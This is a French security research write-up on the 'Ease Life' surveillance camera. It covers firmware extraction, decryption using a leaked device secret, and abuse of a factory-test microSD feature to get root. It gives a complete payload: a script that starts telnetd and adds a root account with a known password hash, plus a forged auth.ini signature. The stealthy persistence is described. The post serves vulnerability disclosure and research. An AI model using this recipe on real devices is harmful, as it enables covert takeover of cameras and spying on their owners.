[PARTIE 1] Analyse de la caméra de surveillance 'Ease Life' - Retour à l'usine


TL;DR

En raison d’une fonctionnalité de test d’usine activée sur le firmware d’une caméra Ease Life, il est possible de réaliser de l’exécution de commandes à travers l’insertion d’une microSD contenant une série de fichiers forgés.


SOMMAIRE

Introduction

Le sujet

Le sujet du jour est la caméra de surveillance ‘Ease Life’ vendue par certaines plateformes dont AliExpress pour un prix très attractif (même pas une dizaine d’euros). L’objectif principal sera donc de voir si ce prix inclut la sécurité en suivant la méthodologie “navigation à vue”.

Caméra Ease-Life

Énumération " des fonctionnalités" de la surface d’attaque

La configuration et l’utilisation de la caméra se font principalement via une application mobile compatible Android et iOS :

https://play.google.com/store/apps/details?id=com.vitec.easelifeEn&hl=fr
Accueil Ease Life Android

Une fois la caméra enrôlée et configurée, voici une liste des fonctionnalités et composants les plus importants pour la suite :

NomDescription
Module Bluetoothutilisé uniquement par une des options d’enrôlement afin de transmettre à la caméra les informations du Wi-Fi sur lequel se connecter
Module Wi-Fiutilisé par la caméra pour avoir un accès internet afin de pouvoir communiquer avec l’API (configuration) et transmettre le flux vidéo
Lecteur microSDutilisé pour du stockage interne de flux vidéo (spoiler : mais pas que…)

Un rapide scan de ports nous démontre qu’aucun service n’est exposé par la caméra :

$ nmap -p- 10.166.181.156 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-05 22:42 CEST
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 80.84% done; ETC: 15:43 (0:00:08 remaining)
Nmap done: 1 IP address (1 host up) scanned in 46.41 seconds

Essayons donc d’obtenir le firmware de la caméra afin d’avoir un peu plus d’informations sur son fonctionnement interne.

Obtention du firmware

Par interception (aucun risque d’incendie)

Une des premières notifications obtenues après configuration de la caméra était une invitation à mettre à jour le firmware de la caméra.

Notification de mise à jour du firmware

À partir de là, on peut supposer que la localisation du nouveau firmware à télécharger doit sans doute transiter par l’application mobile, une analyse de la communication HTTP entre l’API et l’application mobile s’impose donc.

Informations sur l’environnement utilisé

Après analyse des requêtes émises et des réponses reçues, un endpoint en particulier ressort : /api/update/CheckDeviceUpdate.

Réponse HTTP contenant l'URL de téléchargement du firmware chiffré

En effet, on peut voir que dans la réponse HTTP on a potentiellement une bonne et une mauvaise nouvelle :

  • Le JSON renvoyé contient un champ url qui semble contenir le lien de téléchargement du firmware z10kd-l_f3m10_APP2.3.0.11291_ota.enc
  • Le fichier dans le lien de téléchargement a une extension .enc, convention pour dire qu’il est encrypted

Une fois le firmware téléchargé, on peut observer que notre hypothèse de chiffrement est appuyée par le fait que Binwalk n’identifie aucune signature connue :

$ binwalk -M z10kd-l_f3m10_APP2.3.0.11291_ota.enc
Analyzed 1 file for 110 file signatures (249 magic patterns) in 38.0 milliseconds

On peut également calculer l’entropie du firmware toujours avec Binwalk :

L’entropie désigne le taux de données aléatoires dans une code binaire sur une échelle de 0 à 8. Une entropie élevée désigne un code compressé ou chiffré.
$ binwalk -E z10kd-l_f3m10_APP2.3.0.11291_ota.enc -p entropy.png
Calculating file entropy...done.

En analysant le résultat, on peut voir une entropie très élevée et constante au niveau de tout le firmware, démontrant la présence de données totalement aléatoires et probablement chiffrées.

Graphe d'entropie du firmware z10kd-l_f3m10_APP2.3.0.11291_ota.enc

Le firmware obtenu n’étant pas exploitable directement, passons à une méthode d’obtention du firmware quasi “sûre”.

Extraction via SPI (léger risque d’incendie)

Une description plus détaillée de la méthode et des outils utilisés pour l’extraction de firmwares via SPI est présente dans l’article [CVE-2025-52089] Toto Découvre Une “Interface De Debug”

Après ouverture de la caméra, on peut clairement identifier un composant à huit pattes ayant comme référence PY25Q64HA

Une des méthodes pour identifier une mémoire flash de manière visuelle est de chercher un composant ayant dans sa référence le préfixe numérique 25 tel que PY25Q64H (cela reste une convention de nommage et des exceptions existent donc)
Mémoire flash PY25Q64HA

La consultation de la documentation nous confirme que c’est bien une mémoire flash NOR qui a de grandes chances de contenir le firmware de la caméra

https://datasheet4u.com/pdf-down/P/Y/2/PY25Q64HA-Puya.pdf

Nos outils étant prêts et branchés, passons donc à l’extraction du contenu de la mémoire avec un Flipper Zero en utilisant SPI Mem Manager

Branchement Flipper Zero pour extraction SPI

La lecture terminée, on obtient un firmware de 8 mégaoctets et en recalculant l’entropie on peut clairement distinguer une différence par rapport au firmware chiffré précédemment obtenu :

$ du -h firm.bin
8,0M	firm.bin

$ binwalk -E firm.bin -p entropy-unc.png
Calculating file entropy...done.
Graphe d'entropie du firmware extrait via SPI

Analyse du firmware

Marchons sur le binaire

On va commencer par analyser et extraire le contenu du firmware avec l’outil Binwalk :

$ binwalk -e firm.bin

                                                                                             /tmp/extractions/firm.bin
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
DECIMAL                            HEXADECIMAL                        DESCRIPTION
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
144268                             0x2338C                            CRC32 polynomial table, little endian
183521                             0x2CCE1                            U-Boot version string: 2013.10.0-AK_V2.0.03 (May 31 2024 - 09:39:14)
327680                             0x50000                            uImage firmware image, header size: 64 bytes, data size: 1395664 bytes, compression: none, CPU: ARM, OS: Linux, image type: OS Kernel Image,
                                                                      load address: 0x81808000, entry point: 0x81808040, creation time: 2024-05-31 01:40:34, image name: "Linux-3.4.35"
1966080                            0x1E0000                           SquashFS file system, little endian, version: 4.0, compression: xz, inode count: 284, block size: 131072, image size: 1806528 bytes,
                                                                      created: 2024-05-31 01:41:58
4063232                            0x3E0000                           SquashFS file system, little endian, version: 4.0, compression: xz, inode count: 85, block size: 131072, image size: 3023262 bytes, created:
                                                                      2024-12-03 01:42:54
7405568                            0x710000                           JFFS2 filesystem, little endian, nodes: 482, total size: 913420 bytes
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[+] Extraction of uimage data at offset 0x50000 completed successfully
[+] Extraction of squashfs data at offset 0x1E0000 completed successfully
[+] Extraction of squashfs data at offset 0x3E0000 completed successfully
[+] Extraction of jffs2 data at offset 0x710000 completed successfully
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Analyzed 1 file for 110 file signatures (249 magic patterns) in 777.0 milliseconds

Cette fois-ci Binwalk identifie un bon nombre de signatures, concentrons-nous sur les systèmes de fichier qui sont plus aptes à contenir la couche applicative de la caméra :

  1. Offset 0x1E0000 : Système de fichier SquashFS (lecture seule)
  2. Offset 0x3E0000 : Système de fichier SquashFS (lecture seule)
  3. Offset 0x710000 : Système de fichier JFFS2 (lecture/écriture)
Pour des raisons de performances, SquashFS a été pensé pour être un système de fichier compressé en lecture seule donc censé contenir des données immuables au niveau firmware telles que l’applicatif lié à la vidéo-surveillance. A l’oposé, JFFS2 est un système en lecture et écriture, pouvant donner place à des données variables telles que la configuration de la caméra.

L’extraction Binwalk nous donne l’arborescence ci-dessous :

.
├── 1E0000
│   └── squashfs-root
│       ├── bin
│       ├── data -> /tmp
│       ├── dev
│       ├── etc
│       ├── etc_default
│       ├── init -> sbin/init
│       ├── lib
│       ├── linuxrc
│       ├── mnt
│       ├── opt
│       ├── proc
│       ├── root
│       ├── sbin
│       ├── sys
│       ├── system
│       ├── tmp
│       ├── usr
│       └── var
├── 3E0000
│   └── squashfs-root
│       ├── appver.txt
│       ├── autoboot.sh
│       ├── bin
│       ├── boot
│       ├── conf
│       ├── localver.txt
│       ├── media
│       ├── network
│       ├── ntp
│       ├── part.env
│       ├── sh
│       ├── vendor.env
│       └── vicam
├── 50000
│   └── Linux-3.4.35.bin
└── 710000
    └── jffs2-root
        ├── abmu
        ├── audio
        ├── boardname
        ├── commit
        ├── conf
        ├── config -> /system/etc/config
        ├── factinfo
        ├── factorymode
        ├── fstab
        ├── fw_env.config
        ├── hostapd.conf
        ├── hostname
        ├── init.d
        ├── inittab
        ├── issue -> system/issue
        ├── issue.net -> issue
        ├── log
        ├── mdev
        ├── mdev.conf
        ├── passwd
        ├── product_moduleid.txt
        ├── profile
        ├── resolv6.conf
        ├── resolv.conf -> /tmp/resolv.conf
        ├── shadow
        ├── snr.conf -> /etc/config/isp_bf314a.conf
        ├── system -> /system
        ├── udhcpd.conf
        ├── version
        ├── wlanname
        └── wpa.conf

37 directories, 33 files

Quête secondaire

En parcourant les différents fichiers obtenus, on peut voir que le script /usr/local/tool/app_recovery.sh contient des fonctions faisant référence au téléchargement d’un paquet et à son déchiffrement :

CUR_DIR=`dirname $0`

URL=`cat /etc/conf/upgrade.url`
DOWN_DIR=/tmp/
AMBU_TOOL=${CUR_DIR}/ambulance

download_enc()
{
    echo "download_enc..."
    cd ${DOWN_DIR}
    for i in 0 1 2 3; do
        sleep 15
        ${AMBU_TOOL} download ${URL} ./app.enc
        if [ $? -eq 0 ]; then
            echo "start install app..."
            break;
        fi
    done
}

decrypt_enc()
{
    cd ${DOWN_DIR}
    ${AMBU_TOOL} unpack app.enc ./
    if [ $? -eq 0 ]; then
        echo "decrypt_enc success..."
        rm app.enc
        if [ -f ./fwup_preinst.sh ]; then
            chmod +x ./fwup_preinst.sh
            ./fwup_preinst.sh
        fi
    else
        echo "decrypt_enc fail..."
    fi
}

[ x"${URL}" != x"" ] && {
    download_enc
    decrypt_enc
}
  • download_enc() : transmet le contenu du fichier /etc/conf/upgrade.url qui contient l’URL du firmware chiffré en paramètre à l’outil /usr/local/tool/ambulance afin qu’il le télécharge (paramètre download).

  • decrypt_enc() : comme son nom l’indique, elle appelle principalement l’outil /usr/local/tool/ambulance avec le paramètre unpack suivi du firmware téléchargé et le dossier de destination afin d’unpacker son contenu.

Ces hypothèses peuvent être confirmées en décompilant /usr/local/tool/ambulance avec Ghidra et en analysant sa fonction principale FUN_00011f2c :

undefined4 FUN_00011f2c(int param_1,char **param_2)

{
  char *pcVar1;
  int iVar2;
  int iVar3;
  FILE *__stream;
  undefined4 uVar4;
  char *__s1;
  undefined1 local_6c [4];
  undefined1 auStack_68 [68];

  pcVar1 = basename(*param_2);
  iVar2 = getopt(param_1,param_2,"h");
  iVar3 = optind;
  if (iVar2 != -1) {
    printf("usage: %s [OPTIONS] ACTION\n",pcVar1);
    return 0xffffffff;
  }
  if (optind < param_1) {
    __s1 = param_2[optind];
    iVar2 = strcmp(__s1,"unpack");
    if (iVar2 == 0) {
      if (param_1 <= iVar3 + 2) {
        printf("usage: %s <input file> <output dir>\n",pcVar1);
        return 0xffffffff;
      }
      printf("unpack %s...\n",param_2[iVar3 + 1]);
      local_6c[0] = 0;
      memset(auStack_68,0,0x40);
      __stream = fopen("/etc/abmu","r");
      if (__stream != (FILE *)0x0) {
        fscanf(__stream,"%s",auStack_68);
        printf("abmu:[%s]\n",auStack_68);
        FUN_00014868(auStack_68,local_6c);
        fclose(__stream);
        uVar4 = FUN_00014500("decrypt",local_6c,param_2[optind + 1],param_2[optind + 2]);
        printf("abmu(ret) = %d...\n",uVar4);
        return uVar4;
      }
      puts("GetDeviceProductSecret failed...");
      return 0xffffffff;
    }
    iVar3 = strcmp(__s1,"download");
    if (iVar3 == 0) {
      puts("downlod begin");
      if (param_1 <= optind + 2) {
        printf("usage: %s <download url> <output file>\n",pcVar1);
        return 0xffffffff;
      }
      uVar4 = FUN_000157fc(param_2[optind + 1],0,param_2[optind + 2]);
      return uVar4;
    }
  }
  printf("usage: %s [OPTIONS] ACTION\n",pcVar1);
  return 0xffffffff;
}

Cette analyse statique nous apprend également que /usr/local/tool/ambulance utilise le secret /etc/abmu dans son processus de déchiffrement (unpack).

Afin de gagner du temps, laissons de côté l’analyse statique et passons directement à un test dynamique de l’outil ambulance sur le firmware chiffré obtenu précédemment z10kd-l_f3m10_APP2.3.0.11291_ota.enc.

Il est à noter que l’outil ambulance a été compilé en ARM, afin de pouvoir l’exécuter sur une machine x8664 on peut utiliser QEMU. De plus, _ambulance a été compilé dynamiquement (dynamically linked), il faudra donc spécifier le chemin racine vers la bibliothèque /lib/ld-uClibc.so.0 avec le paramètre -L
$ file ambulance
ambulance: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

$ mkdir out

$ sudo mv abmu /etc/

$ qemu-arm -L extractions/firm.bin.extracted/1E0000/squashfs-root ./ambulance unpack ./z10kd-l_f3m10_APP2.3.0.11291_ota.enc out
unpack ./z10kd-l_f3m10_APP2.3.0.11291_ota.enc...
abmu:[/TsY/{h4OQ%-*6N4Nb3[P]
start to generate key/iv, type=AES-128-CBC, md=SHA
return val:16
decrypt...
filename(out/md5sum) filesize(95)
fd(4)
sync ret1(0) ret2(0)!
filename(out/user.squashfs.img) filesize(3026944)
fd(4)
sync ret1(0) ret2(0)!
filename(out/part.env) filesize(362)
fd(4)
sync ret1(0) ret2(0)!
filename(out/system.env) filesize(2011)
fd(4)
sync ret1(0) ret2(0)!
filename(out/fwup_preinst.sh) filesize(1694)
fd(4)
sync ret1(0) ret2(0)!
filename(out/DONTREADME) filesize(17)
final decrypt 15 ... fd(4)
sync ret1(0) ret2(0)!
abmu(ret) = 0...

$ tree out
out
├── DONTREADME
├── fwup_preinst.sh
├── md5sum
├── part.env
├── system.env
└── user.squashfs.img

0 directories, 6 files

$ binwalk out/user.squashfs.img

                                                                                        /tmp/out/user.squashfs.img
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
DECIMAL                            HEXADECIMAL                        DESCRIPTION
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0                                  0x0                                SquashFS file system, little endian, version: 4.0, compression: xz, inode count: 85, block size: 131072, image size: 3023262 bytes,
                                                                      created: 2024-12-03 01:42:54
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Analyzed 1 file for 110 file signatures (249 magic patterns) in 7.0 milliseconds

On se retrouve donc avec le contenu en clair du firmware chiffré téléchargé. Dans la prochaine section, nous allons nous concentrer sur l’obtention d’une exécution de commandes sur la caméra.

Retour à l’usine

Un deuxième script qui semble être intéressant est le script /etc/init.d/rcS (script exécuté pendant le processus de lancement pour initialiser d’autres programmes). En effet, ce script comporte des termes tels que factorytest ou encore SDcard qui sonnent respectivement comme fonctionnalités d’administration et source d’entrée de données. Analysons donc ces parties du script :

...
read -t 1 -p "   Press q -> ENTER to exit boot procedure? " exit_boot
if [ "$exit_boot" == "q" ] ; then
    exit 0
fi

factorymode=0
grep " factorymode=1" /proc/cmdline > /dev/null
if [ $? -eq 0 ]; then
    if [ -x /usr/sbin/usbnet.sh ]; then
        /usr/sbin/usbnet.sh
    fi
    factorytest_dir=/usr/local/factorytest
    if [ -x $factorytest_dir/factorytest ]; then
        factorymode=1
        echo "start factorytest portal ..."
        $factorytest_dir/factorytest -s $factorytest_dir/factorytest_run.sh &
    fi
fi

if [ -x /usr/local/4g/RUN4G ]; then
    echo "Run 4G ..."
    /usr/local/4g/RUN4G &
fi

wifi_up()
{
    if [ x"${WIRELESS_INTERFACE}" != x"" ]; then
        WLANNAME=`cat /etc/wlanname`
        lpcnt=8
        while [ 1 ]; do
            ifconfig ${WLANNAME} up && break
            lpcnt=$((lpcnt - 1))
            [ $lpcnt -gt 0 ] || {
                echo "wifi up failed! reboot..."
	        sleep 1
	        /sbin/reboot
                # the 'reboot' will wait the 'rcS' script, so exit here
                exit
            }
            sleep 2
        done
    fi
}

if [ $factorymode -eq 0 ]; then

    /usr/local/tool/sdupdate_fwenc.sh
    if [ x"$?" == x"0" ]; then
        echo "sdupdate fwenc succeed!"
        exit 0
    fi

    if [ -d /mnt/sdcard/factorytest ]; then
        echo "start factorytest..."
        cd /mnt/sdcard/factorytest
        /opt/sh/safe_exec.sh ./auth.ini ./factorytest.sh
        exit 0
    fi

    if [ -f /mnt/sdcard/fwup_autorun.sh ]; then
        /opt/sh/check_auth.sh /mnt/sdcard && sh /mnt/sdcard/fwup_autorun.sh
    fi

    wifi_up&

    if [ -f /etc/conf/upgrading ]; then
        echo "file upgrading exist......"
        /usr/local/tool/app_recovery.sh &
        exit
    fi

    echo "start dotstart ..."
    [ -x /opt/autoboot.sh ] && /opt/autoboot.sh
fi

On peut clairement voir que le script /etc/init.d/rcS vérifie si la variable $factorymode est égale à 0 et si c’est le cas, il exécute une chaîne d’instructions. Malgré la présence d’autres exploitables, nous allons nous concentrer sur le cas ci-dessous qui, à première vue, semble être le plus intéressant :

if [ -d /mnt/sdcard/factorytest ]; then
    echo "start factorytest..."
    cd /mnt/sdcard/factorytest
    /opt/sh/safe_exec.sh ./auth.ini ./factorytest.sh
    exit 0
fi

Il est possible de résumer cette condition par :

  1. Vérifie si un dossier au nom de factorytest existe dans le contenu de la carte SD montée
  2. Si oui, navigue vers le répertoire /mnt/sdcard/factorytest
  3. Exécute le script /opt/sh/safe_exec.sh en lui passant les fichiers ./auth.ini et ./factorytest.sh en paramètre

Analysons donc le contenu de /opt/sh/safe_exec.sh :

#########################################################
#
#  auth.ini example:
#
#	KEY=12345678901234567
#	MD5SUM_FILE=test.md5sum
#	MD5SUM_MD5=b757a9fc7aa080272c37902c701e2eb4
#
#########################################################


THISDIR=`dirname $0`
AUTH_FILE=$1
SCRIPT_FILE=$2

exit_with_msg()
{
	echo "$2"
	exit $1
}

check_auth()
{
	[ x"$1" = x"" ] && return 0
	[ -f "$1" ] || return 0
	${THISDIR}/../bin/ukey -t "$1" > /dev/null 2>&1
}

if [ -f "/opt/images/public_key.der" ]; then
    echo "has public key file, exit with 1"
    exit 1
fi


[ x"${AUTH_FILE}" = x"" ] && exit_with_msg 1 "no auth file"
[ x"${SCRIPT_FILE}" = x"" ] && exit_with_msg 1 "no scrip file"


check_auth "${AUTH_FILE}" || exit_with_msg 2 "auth file has been changed!"

source "${AUTH_FILE}"
[ x"${MD5SUM_FILE}" = x"" ] && exit_with_msg 3 "no md5sum file"

# get script md5sum
SCRIPT_MD5SUM=`md5sum "${SCRIPT_FILE}" | cut -d' ' -f1`
echo "SCRIPT_MD5SUM=${SCRIPT_MD5SUM}"

# check md5sum of script and other files
AUTH_DIR=`dirname ${AUTH_FILE}`
cd ${AUTH_DIR}
MD5SUM_MD5SUM=`md5sum "${MD5SUM_FILE}" | cut -d' ' -f1`
[ x"${MD5SUM_MD5}" = x"${MD5SUM_MD5SUM}" ] || exit_with_msg 4 "md5sum file has been changed!"
SCRIPT_MD5_COUNT=`grep "${SCRIPT_MD5SUM}" "${MD5SUM_FILE}" | wc -l`
[ x"${SCRIPT_MD5_COUNT}" = x"1" ] || exit_with_msg 5 "script has been changed!"
md5sum -c "${MD5SUM_FILE}" || exit_with_msg 6 "check md5sum failed!"
cd -

echo "check auth ok, start run ${SCRIPT_FILE}."
sh ${SCRIPT_FILE}

exit 0

Résumons les parties plus intéressantes du script :

  • Execution de la fonction check_auth(), qui elle exécute le binaire /bin/ukey en lui passant le fichier ./auth.ini avec le paramètre -t afin de vérifier qu’un certain fichier n’a pas été modifié
  • Vérification que le MD5 réel du fichier spécifié dans la variable MD5SUM_FILE (fichier auth.ini) est bien égale au hash spécifié dans la varible MD5SUM_MD5 (fichier auth.ini)
  • Vérification que le MD5 réel du fichier factorytest.sh est bien égale au hash spécifié dans le fichier MD5SUM_FILE
  • Si toutes les conditions sont satisfaites, alors le script factorytest.sh est exécute

Les conditions concernant les calculs MD5 étant plutôt clair, concentrons nous sur la première condition liée à la fonction check_auth(). Faire une analyse statique sur le binaire /bin/ukey serait un bon début :

undefined4 FUN_000089f8(int param_1,char \*\*param_2)

{
uint uVar1;
char _pcVar2;
int iVar3;
FILE _**stream;
byte \***ptr;
uint uVar4;
uint *puVar5;
uint uVar6;
uint uVar7;
uint *puVar8;
int local_9c;
int local_94;
int local_90;
char local_8c [104];

do {
iVar3 = getopt(param_1,param_2,"r:w:t:e:d:u:a:n:");
pcVar2 = optarg;
if (iVar3 == -1) {
return 0;
}
switch(iVar3) {
case 0x61:
**stream = fopen64(optarg,"r+");
**ptr = (byte _)operator.new[](0x100);
if (\_\_stream == (FILE _)0x0) {
printf("Can not open file %s.\n",pcVar2);
}
else {
fread(**ptr,1,0x100,**stream);
uVar4 = -(int)**ptr & 3;
uVar6 = uVar4;
if (uVar4 == 0) {
local_9c = 0x100;
}
else { \***ptr = ~(_**ptr ^ 0x79);
if (uVar4 == 1) {
local_9c = 0xff;
}
else {
**ptr[1] = ~(**ptr[1] ^ 0x79);
if (uVar4 == 3) {
local_9c = 0xfd;
**ptr[2] = ~(\_\_ptr[2] ^ 0x79);
}
else {
local_9c = 0xfe;
uVar6 = 2;
}
}
}
uVar1 = 0x100 - uVar4 >> 2;
puVar5 = (uint _)((int)(**ptr + uVar4) + -4);
uVar7 = 0;
puVar8 = (uint \*)(**ptr + uVar4);
do {
puVar5 = puVar5 + 1;
uVar7 = uVar7 + 1;
*puVar8 = *puVar5 ^ 0x86868686;
puVar8 = puVar8 + 1;
} while (uVar7 < uVar1);
iVar3 = uVar6 + uVar1 _ 4;
local_9c = local_9c + uVar1 _ -4;
if (0x100 - uVar4 != uVar1 \* 4) {
**ptr[iVar3] = ~(**ptr[iVar3] ^ 0x79);
if (local_9c != 1) {
**ptr[iVar3 + 1] = ~(**ptr[iVar3 + 1] ^ 0x79);
if (local_9c != 2) {
**ptr[iVar3 + 2] = ~(**ptr[iVar3 + 2] ^ 0x79);
}
}
}
fseek(**stream,0,0);
fwrite(**ptr,1,0x100,**stream);
fclose(**stream);
}
FUN_0000a3f4(optarg);
break;
default:
puts(
"use:\n -w filename\n -t filename\n -u filename\n -a filename\n -n filename\n -r fil ename"
);
break;
case 100:
FUN_0000aa84(optarg);
break;
case 0x65:
FUN_0000a914(optarg);
break;
case 0x6e:
FUN_0000a624(optarg);
break;
case 0x72:
local_94 = 0;
local_90 = 0;
printf("getKey %s\n",optarg);
iVar3 = FUN_000090f0(optarg,&local_94,&local_90);
if (iVar3 == 0) {
puts("getKeyByData error.");
}
else {
sprintf(local_8c,"KEY=%08x%08d",local_94,local_90);
puts(local_8c);
}
break;
case 0x74:
local_94 = 0;
local_90 = 0;
local_8c[0] = '\0';
local_8c[1] = '\0';
local_8c[2] = '\0';
local_8c[3] = '\0';
iVar3 = FUN_000090f0(optarg,&local_94,local_8c);
if (((iVar3 == 0) || (iVar3 = FUN_000098cc(optarg,&local_90), iVar3 == 0)) ||
(local_94 != local_90)) {
puts("file changed.");
return 1;
}
puts("file not changed.");
break;
case 0x75:
iVar3 = FUN_0000a07c(optarg);
if (iVar3 != 0) goto LAB_00008abc;
LAB_00008aa0:
puts("write key error.");
break;
case 0x77:
iVar3 = FUN_00009a18(optarg);
if (iVar3 == 0) goto LAB_00008aa0;
LAB_00008abc:
printf("write key into %s succeed.\n",optarg);
}
} while( true );
}

Le diagramme de flux ci-dessous résume le fonctionnement global de /bin/ukey :

flowchart LR
A[Récupération des paramètres] --> B{Vérification}

B -->|-t| D[Récupération de la varible KEY de ./auth.ini] --> F[Vérification de la signature fichier ./auth.ini]
B -->|-r| E[Calcul et affichage de la signature du fichier ./auth.ini]
B -->|..| ..
  • Le paramètre -t est utilisé pour vérifier que la variable KEY dans le fichier ./auth.ini comporte la bonne signature de ce dernier
  • Le paramètre -r est utilisé pour calculer la signature (KEY) d’un fichier ./auth.ini

Bonne nouvelle, au lieu de perdre du temps à essayer de reverse la logique de calcul de signature, on peut directement l’obtenir avec le paramètre -r.

Assemblons le tout

En résumé, pour pouvoir exécuter un script sur la caméra à travers la carte microSD il nous faudra :

PrérequisDescription
Une carte SDcomportera les éléments ci-dessous
factorytest/dossier dans la racine de la carte SD visant à contenir l’ensemble des fichiers nécessaires
factorytest.shscript avec les commandes à exécuter
test.md5sumfichier contenant le hash MD5 de factorytest.sh
auth.inifichier qui comportera la clé secrète (KEY), le nom du fichier md5sum (MD5SUM_FILE) et le hash MD5 du fichier test.md5sum (MD5SUM_MD5)

factorytest.sh

Pour rappel, le contenu de la condition dans le script rcS se termine par un exit 0, empêchant le reste des modules nécessaires au bon fonctionnement de la caméra de démarrer. Une des solutions pour contourner cela (et avoir une persistance furtive) est d’inclure dans notre payload le reste du contenu du script rcS.

if [ -d /mnt/sdcard/factorytest ]; then
    echo "start factorytest..."
    cd /mnt/sdcard/factorytest
    /opt/sh/safe_exec.sh ./auth.ini ./factorytest.sh
    exit 0
fi

Afin d’obtenir un shell stable sur la caméra, le script factorytest.sh devra donc :

  1. Activer Telnet
  2. Ajouter un nouvel utilisateur root (le mot de passe du root par défaut n’étant pas connu)
# factorytest.sh
...
...
# Démarrer le daemon Telnet
telnetd &
# Créer un nouvel utilisateur root (admin:admin)
echo 'admin:x:0:0:root:/root:/bin/sh' >> /etc/passwd
echo 'admin:$1$RY1L3lIe$vMOq.C7ie4Rg9qIMo8FJE.:0:0:99999:7:::' >> /etc/shadow

test.md5sum

Pour fichier test.md5sum, on devra simplement y inclure le hash MD5 du fichier factorytest.sh final :

$ md5sum factorytest.sh
a2fb1a330b1a2b3a2c45655ef6c47ef9  factorytest.sh

$ echo "a2fb1a330b1a2b3a2c45655ef6c47ef9  factorytest.sh" > test.md5sum

$ md5sum -c test.md5sum
factorytest.sh: OK

$ md5sum test.md5sum # à utiliser dans auth.ini
1de768028943bae86bfc10a607ceec56  test.md5sum

auth.ini

Préremplissons dans un premier temps le fichier auth.ini avec les valeurs connues :

KEY=
MD5SUM_FILE=test.md5sum
MD5SUM_MD5=1de768028943bae86bfc10a607ceec56

Calculons ensuite la KEY de auth.ini avec le binaire /bin/ukey :

$ file ./ukey
./ukey: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

$ qemu-arm -L extractions/firm.bin.extracted/1E0000/squashfs-root ./ukey -r /auth.ini
getKey ./auth.ini
KEY=2b98bb1900000089

Le contenu final de auth.ini sera donc :

KEY=2b98bb1900000089
MD5SUM_FILE=test.md5sum
MD5SUM_MD5=1de768028943bae86bfc10a607ceec56

factorytest/

Enfin, il ne restera plus qu’à copier les précédents fichiers dans un dossier factorytest :

factorytest
├── auth.ini
├── factorytest.sh
└── test.md5sum

0 directories, 3 files

R00T

Le dossier factorytest ayant été copié dans la carte microSD, il nous restera juste à insérer cette dernière et démarrer la caméra :

Insertion de la carte SD dans la caméra
$ telnet 10.166.181.156
Trying 10.166.181.156...
Connected to 10.166.181.156.
Escape character is '^]'.

                    _|/_
                    (o o)
+----------------oOO-{_}-OOo----------------+
|                                           |
|               W E L C O M E !             |
|                                           |
+-------------------------------------------+

[[ 13e5be2cdcc8c390be436fb00a0248be ]]
vi login: admin
Password:
Welcome to vi
[root@vi:root]# id
uid=0(root) gid=0 groups=0
[root@vi:root]#

On peut également confirmer que la fonctionnalité de vidéo surveillance n’a pas été perturbée depuis l’application ‘Ease Life’ :

Vidéo surveillance toujours fonctionnelle

Références